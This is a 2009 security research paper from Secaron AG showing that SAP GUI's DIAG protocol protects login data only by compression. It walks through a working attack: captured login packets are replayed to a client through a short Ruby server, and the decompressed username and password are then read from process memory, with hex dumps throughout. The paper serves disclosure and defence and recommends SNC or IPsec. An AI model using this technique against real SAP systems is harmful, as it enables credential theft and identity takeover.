Sniffing SAP® GUI Passwords

6. Juli 2009,

Andreas Baus,
René Ledosquet

Abstract

This paper describes a practical attack against the protocol used by SAP® for client server communication. The purpose of this paper is to clarify the fact that the protocol does not sufficiently protect sensitive information like user names and passwords. The protocol must therefore be considered as insecure as other protocols such as telnet or ftp. Additional security measures are mandatory in order to protect the transmitted data.

Secaron AG
Ludwigstraße 45
85399 Hallbergmoos / Germany
Tel: +49 811 9594-0
Fax: +49 811 9594-220

Introduction

SAP[1] applications are omnipresent in modern corporate IT environments. The SAP NetWeaver™ platform provides a basis for business applications implemented in ABAP[2] and Java[3]. Although more and more business applications are accessed via web browsers today, the traditional fat client SAP GUI remains a crucial component for using ABAP applications. Communication amongst traditional ABAP components is mostly founded on proprietary network protocols. The *Remote Function Call* (RFC) protocol is the SAP specific network protocol which allows for both synchronous and asynchronous communication between SAP NetWeaver application servers.[4] Data transfer between a SAP GUI client and an ABAP application server is based on the *Dynamic Information and Action Gateway* (DIAG) protocol. In modern network environments, both protocols will sit on top of TCP/IP. SAP GUI clients connect a SAP server via DIAG on TCP port 32x, where “xx” stands for the corresponding SAP system number. Both protocols can be source routed via another SAP specific low-level protocol, the *SAP Network Interface* (NI). This protocol uses in-band routing messages which are interpreted by so called “SAP Routers”. SAP Router to SAP Router communication uses the reserved TCP port 3299.

The DIAG protocol implements the necessary functions to interact with the user using dialog screens. It also provides portions of RFC protocol functionality as well. For example, the SAP GUI client can act as a synchronous RFC Server which can be asked to execute RFC based functions on the SAP GUI front-end. It is also used when sending data from the ABAP server back to the SAP GUI client for local printing. The standard authentication for SAP GUI and RFC clients is based on user name and password. Neither DIAG nor the RFC protocol support strong authentication mechanisms or encryption for data protection.

In order to enable secure communication with these protocols on the application level, SAP provides the *Secure Network Communication* (SNC) interface for an external security product. These products are implemented as a platform and operating system specific library. Cryptographic services of these libraries are accessed by the SAP application server and SAP GUI client using the standard GSS-API v2[5]. When enabled, the specific SNC library will take care of user authentication, integrity protection, and data encryption. SAP provides a SNC implementation for free, but this library - called *SAP Cryptographic Library* (SAPCRYPTOLIB) - may only be used to protect server to server communication. Due to licence and usability restrictions, SNC protection for client to server communication requires a different SNC library. Currently, there are four different commercial SNC implementations certified by SAP.[6] Technically, all available products are either based on Kerberos or PKI/X.509 SSL alike implementations.

Motivation

So why writing a paper about unencrypted communication although appropriate and recommended protection mechanisms are available for a decade? The answer is quite simple. Even today only very few companies are using SNC in order to protect their probably most sensitive data in transit. Nobody would accept an on-line banking service without proper SSL/TLS protection today. But when it comes to SAP, missing communication protection and secure authentication is most certain

[1] SAP, ABAP, SAP NetWeaver, and R/3 are registered trademarks of SAP AG in Germany and in several other countries.

[2] ABAP™ stands for *Advanced Business Application Programming* and is an SAP specific programming language.

[3] Java is a trademark or registered trademark of Sun Microsystems, Inc. or its subsidiaries in the United States and other countries.

[4] Not related with or defined in any “Request for Comments” Internet standard documents.

[5] *Generic Security Service Application Program Interface* defined in IETF RFC2078.

[6] See `http://www.sap.com/ecosystem/customers/directories/SearchSolution.epx` for component BC-SNC. Alternatively, SAP Note 352295 *Microsoft Windows Single Sign-On options* describes the unsupported usage of Microsoft Security Service Providers as a SNC library in Windows environments.

an audit finding, even in mission critical SAP systems. This is quite surprising as on the other hand, companies are willing to invest considerable amounts of money into compliance tools and authorization concepts.

One reason for this situation is surely that DIAG and RFC use a proprietary compression algorithm by default. Due to this compression, network sniffers will only see scrambled data instead of clear text. To our knowledge, there is currently no freely available tool which is capable to decompress DIAG or RFC data. This is probably why still most of the people believe that there is actually no need to take additional security measures. A second reason might be a change in SAP's attitude. For instance, it is possible to disable compression for debugging purposes on the SAP GUI client by setting the environment variable `TDW_NOCOMPRESS` to 1. Doing so will result in the SAP GUI client displaying a permanent pop-up window during the session, which says:

```
Environment information: data compression switched off
For maximum data security delete the settings as soon as possible
```

One could regard this warning message as an indication that in the past SAP considered the compression by all means as a security feature. However, SAP encourages its customers to protect SAP GUI and RFC communication by using SNC since 1999.[7] Additionally, the issue is addressed in SAP note 39029:

> "This compression is not an encryption. To transfer data in encrypted form, use our Secure Network Communications (SNC) and an external security product. . . . For production scenarios, we strongly recommend the use of SNC."

Analysis

Starting by taking a closer look at the communication involved in a regular GUI session, the general flow of messages at the beginning basically looks like this:

1. Client initiates TCP connection to server, standard three-way TCP handshake.
2. Client sends the first message. This message seems not to be compressed.
3. Server replies with the second message. This message includes the login form rendered by the client.
4. User enters their login name and password. Client sends the third message to the server.
5. . . . (further communication) . . .

From an attacker's point of view, the third message is of special interest because it includes the user's login name and password.[8] A network capture obtained by standard tools such as wireshark of this message looks something like that:[9]

[7]See SAP R/3 Security Guide.
[8]Note that, if communication additionally involves a SAP router, this message's number shifts to four.
[9]The displayed data corresponds to TCP payload data.

```
0000  00 00 01 74 00 00 11 00  00 00 00 01 03 02 00 00  ...t.... ........
0010  12 1f 9d 02 ad 7a 0c 7a  12 06 a2 20 3c ad 5b 69  .....z.z ... <.[i
0020  b5 c6 85 28 c4 18 93 cd  7a 33 d1 76 4b 05 0f 05  ...(.... z3.vK...
0030  42 80 18 0e a0 41 4d f4  68 a0 c1 35 52 08 45 d1  B....AM. h..5R.E.
0040  7f e0 8f f5 47 b8 5b 50  e3 5e de cb 37 d9 37 33  ....G.[P .^..7.73
0050  86 81 ff 8f 6e 1e a3 04  90 4f 43 88 8a 8f a5 4c  ....n... .OC....L
0060  46 d3 65 7a 2a 82 f3 00  94 10 d8 d8 47 0e bb c8  F.ez*... ....G...
0070  51 52 82 09 4e 49 51 8d  3c 25 0e 36 2a a1 4f c9  QR..NIQ. <%.6*.O.
0080  11 4c 11 52 b2 0b 02 14  1c 4a 0e 94 0c 6a 19 28  .L.R.... .J...j.(
0090  c2 02 ac 43 b3 24 ef f2  cf 1a ae 0d 5d 1b 14 30  ...C.$.. ....]..0
00A0  26 80 f9 f5 33 e9 96 01  27 f2 06 72 fc b4 c0 0e  &...3... '..r....
00B0  75 4c 04 38 04 62 a8 b8  04 7b 70 dd f4 71 76 c2  uL.8.b.. .{p..qv.
00C0  d6 4f 07 ce 24 4b 49 b6  ad a4 74 f1 38 67 d4 d9  .O..$KI. ..t.8g..
00D0  86 ba a3 21 54 e6 bc 3a  5e 88 1a ef 93 17 f6 16  ...!T..: ^.......
00E0  cf 53 39 4d 6a 5c 9c f9  9c c5 c9 70 3a 92 c9 b8  .S9Mj\.. ...p:...
00F0  c6 f5 51 de a8 b3 a8 dd  bc 6d f6 9a fd e6 65 67  ..Q..... .m....eg
0100  50 67 2c 6a 5d 5d 3f 30  39 aa f1 e1 74 f6 c1 15  Pg,j]]?0 9...t...
0110  61 d1 e5 5d 37 23 e3 57  99 01 16 f5 3a b7 83 6e  a..]7#.W ....:..n
0120  eb 26 a3 93 78 31 97 c3  94 b3 07 9f d5 78 b9 5a  .&..x1.. .....x.Z
0130  55 9b 50 9b 08 39 bb ff  43 81 da 02 a1 90 d6 34  U.P..9.. C......4
0140  28 eb 59 be 50 24 58 91  7b 4d 84 1f 84 dc 5b b9  (.Y.P$X. {M....[.
0150  b4 bb bd 4e ff a6 7b d5  5f 19 8d e4 24 4e 74 97  ...N..{. _...$Nt.
0160  5f 2f b1 76 10 a1 58 fd  89 3c 95 55 b7 f0 74 0d  _/.v..X. .<.U..t.
0170  55 ce fb d7 ce fd 06 00
```

As can be seen in the ASCII dump, the message does not include useful printable characters. In particular, the user name and password information can not be directly recognized. This is due to the fact, that the message's payload gets transmitted in SAP's compressed format. A rough analysis of the message identified the following protocol fields with their corresponding meaning:

Offset	Field	Description
0x00 - 0x03	Length	Length of the message minus 4 (network byte order).
0x04 - 0x0B	Constant	Uncompressed messages seems to have offset 0x0B set to zero.
0x0C - 0x0F	Length	Length of the uncompressed data (host byte order).
0x10	Bitmask	Value is evaluated at the beginning of decompression.
0x11 - 0x12	Magic bytes	Magic bytes of unix compress. Checked at the beginning of decompression.
0x13	Constant	Seams to have the static value 0x02. Altering this value does not interfere with decompression.
0x14 -	Compressed data	This is the actual compressed payload.

Although the magic bytes of unix compress are included, tests showed that the compression method used is not compatible with unix compress nor any other standard methods tried. The magic bytes are therefore assumed to exist for historic reasons. This brings up the following question: How to decompress captured data in a reliable way?

A Reflection Attack

One approach to fully solve this problem would certainly be to reverse engineer the decompression algorithm out of the existing client code. Due to the nature of such algorithms, this is not a very appealing project. The Java variant of the SAP GUI will not make revering easier, because it uses a native library via JNI for that purpose.

As it turned out, there is a much easier way to solve the problem. Assumed that the used compression algorithm - at least in this early stage of communication - is kind of static, that is, it is independent of the communication direction and other dynamic parameters, it should in principle be possible to use the client to decompress arbitrary data. To do so, a small server is set up, which is provided with the previously captured (and compressed) data. The server's only purpose is to wait for a client connection and deliver the captured data at the right moment. The following listing (mysapserv.rb) shows a trivial implementation in ruby of such a server.[10]

```
require 'socket'

input = ARGF.read.gsub(/\s/, '').to_a.pack('H*')

server = TCPServer.new(3200)
client = server.accept

len = client.recv(4).unpack('N')[0]
client.recv(len)

client.send(input,0)
```

The server will listen on TCP port 3200 and send out the data, which is provided hex encoded via STDIN (or as a file argument). The server can thereby be started with a command line such as:[11]

```
echo
00 00 01 74 00 00 11 00  00 00 00 01 03 02 00 00
12 1f 9d 02 ad 7a 0c 7a  12 06 a2 20 3c ad 5b 69
b5 c6 85 28 c4 18 93 cd  7a 33 d1 76 4b 05 0f 05
42 80 18 0e a0 41 4d f4  68 a0 c1 35 52 08 45 d1
7f e0 8f f5 47 b8 5b 50  e3 5e de cb 37 d9 37 33
86 81 ff 8f 6e 1e a3 04  90 4f 43 88 8a 8f a5 4c
46 d3 65 7a 2a 82 f3 00  94 10 d8 d8 47 0e bb c8
51 52 82 09 4e 49 51 8d  3c 25 0e 36 2a a1 4f c9
11 4c 11 52 b2 0b 02 14  1c 4a 0e 94 0c 6a 19 28
c2 02 ac 43 b3 24 ef f2  cf 1a ae 0d 5d 1b 14 30
26 80 f9 f5 33 e9 96 01  27 f2 06 72 fc b4 c0 0e
75 4c 04 38 04 62 a8 b8  04 7b 70 dd f4 71 76 c2
d6 4f 07 ce 24 4b 49 b6  ad a4 74 f1 38 67 d4 d9
86 ba a3 21 54 e6 bc 3a  5e 88 1a ef 93 17 f6 16
cf 53 39 4d 6a 5c 9c f9  9c c5 c9 70 3a 92 c9 b8
c6 f5 51 de a8 b3 a8 dd  bc 6d f6 9a fd e6 65 67
50 67 2c 6a 5d 5d 3f 30  39 aa f1 e1 74 f6 c1 15
61 d1 e5 5d 37 23 e3 57  99 01 16 f5 3a b7 83 6e
eb 26 a3 93 78 31 97 c3  94 b3 07 9f d5 78 b9 5a
55 9b 50 9b 08 39 bb ff  43 81 da 02 a1 90 d6 34
28 eb 59 be 50 24 58 91  7b 4d 84 1f 84 dc 5b b9
b4 bb bd 4e ff a6 7b d5  5f 19 8d e4 24 4e 74 97
5f 2f b1 76 10 a1 58 fd  89 3c 95 55 b7 f0 74 0d
55 ce fb d7 ce fd 06 00 | ruby mysapserv.rb
```

Using a client[12] to connect to the prepared server leads to the message exchange described earlier,

[10]Unfortunately a simple netcat won't do the trick.
[11]This should be entered as a single line.
[12]The client should be restarted before doing this.

putting aside the fact that this time the client receives the captured data. To process this data, the client has no other choice than to decompress the data first.[13] This gives the opportunity to search the client's memory pages for the now uncompressed data. This brings up another question. What to search for? Fortunately the data in this message always contains certain static strings, which makes searching for the uncompressed data a trivial task.[14] So by using one's preferred process memory editor on the process of `saplogon.exe` and searching e.g. for the string "DATAMANAGER" one will be able to locate the address of the uncompressed data in memory precisely.

```
01E116F0: 00 00 00 00 00 00 00 00 00 10 06 23 00 17 00 00   ...........#....
01E11700: 04 88 01 31 31 36 30 00 77 69 6E 64 6F 77 73 2D   .^.1160.windows-
01E11710: 31 32 35 32 00 10 04 04 00 08 00 15 00 07 00 0F   1252............
01E11720: 00 07 10 04 17 00 02 00 22 10 04 16 00 02 00 11   ........".......
01E11730: 10 04 09 00 03 36 34 30 10 04 1D 00 02 31 34 10   .....640.....14.
01E11740: 04 0F 00 04 00 00 12 09 10 04 19 00 02 00 00 10   ................
01E11750: 05 01 00 16 00 05 00 00 05 1B 02 17 69 55 11 6A   ............iU.j
01E11760: 00 02 00 00 00 00 00 00 00 00 10 0C 08 00 10 00   ................
01E11770: 00 01 6D 00 00 02 EC 00 00 01 6D 00 00 02 EC 10   ..m.......m.....
01E11780: 0A 01 00 09 3C 2F 52 69 67 68 74 00 0D 10 09 02   ....</Right.....
01E11790: 00 32 00 1B 00 00 65 00 01 00 00 04 00 14 00 0C   .2....e.........
01E117A0: 0C 73 61 70 2A 20 20 20 20 20 20 20 20 00 17 00   .sap*        ...
01E117B0: 00 65 00 01 00 00 05 00 14 00 08 08 73 61 70 73   .e..........saps
01E117C0: 74 61 72 20 10 09 0B 00 0A 01 00 05 00 14 00 00   tar ............
01E117D0: 00 07 00 11 00 00 01 12 3C 3F 78 6D 6C 20 76 65   ........<?xml ve
01E117E0: 72 73 69 6F 6E 3D 22 31 2E 30 22 20 65 6E 63 6F   rsion="1.0" enco
01E117F0: 64 69 6E 67 3D 22 73 61 70 2A 22 3F 3E 20 3C 44   ding="sap*"?> <D
01E11800: 41 54 41 4D 41 4E 41 47 45 52 3E 20 20 3C 43 4F   ATAMANAGER>  <CO
01E11810: 50 59 20 69 64 3D 22 63 6F 70 79 22 3E 20 20 20   PY id="copy">
01E11820: 3C 47 55 49 20 69 64 3D 22 67 75 69 22 3E 20 20   <GUI id="gui">
01E11830: 20 20 3C 4D 45 54 52 49 43 53 20 69 64 3D 22 6D     <METRICS id="m
01E11840: 65 74 72 69 63 73 22 20 59 30 20 3D 22 33 37 37   etrics" Y0 ="377
01E11850: 22 20 59 31 20 3D 22 31 34 22 20 58 30 20 3D 22   " Y1 ="14" X0 ="
01E11860: 33 37 37 22 20 59 32 20 3D 22 32 31 22 20 58 31   377" Y2 ="21" X1
01E11870: 20 3D 22 37 22 20 59 33 20 3D 22 37 33 38 22 20    ="7" Y3 ="738"
01E11880: 58 32 20 3D 22 37 22 20 58 33 20 3D 22 31 30 32   X2 ="7" X3 ="102
01E11890: 34 22 2F 3E 20 20 20 20 3C 44 49 4D 45 4E 53 49   4"/>    <DIMENSI
01E118A0: 4F 4E 53 20 69 64 3D 22 64 69 6D 65 6E 73 69 6F   ONS id="dimensio
01E118B0: 6E 73 22 20 59 30 20 3D 22 33 31 22 20 58 30 20   ns" Y0 ="31" X0
01E118C0: 3D 22 31 34 31 22 2F 3E 20 20 20 3C 2F 47 55 49   ="141"/>   </GUI
01E118D0: 3E 20 20 3C 2F 43 4F 50 59 3E 20 3C 2F 44 41 54   >  </COPY> </DAT
01E118E0: 41 4D 41 4E 41 47 45 52 3E 20 0C 00 00 00 00 00   AMANAGER> ......
```

In this example the search string is found starting at address `0x01E117FF`. As expected, the match pinpointed exactly to the uncompressed message. In close proximity to the matching position, one can now recognize the locations and values of the entered user name and password (at `0x01E117A1` and `0x01E117BC`). It is now a trivial task to use this login information to perform an identity theft.

[13] Of course, the client is not able to process the data much further. In most cases the client will show an error message and die afterwards.

[14] Initial knowledge of a search string was obtained by simply searching for a known password. Using the `TDW_NOCOMPRESS` setting of the client would have been another option.

Conclusion

Although the described attack is not fully automated, it is completely feasible. Secaron successfully used the described technique several times in the course of SAP related penetration tests. Given an appropriate network traffic capture, it achieves an identity theft in a matter of minutes. The compression is by no means a proper protection mechanism for sensitive data. Standard DIAG and RFC based communication should be treated just like any other insecure protocol. Security officers should be aware of the fact that these protocols require additional protection (e.g. SNC or IPsec) when used.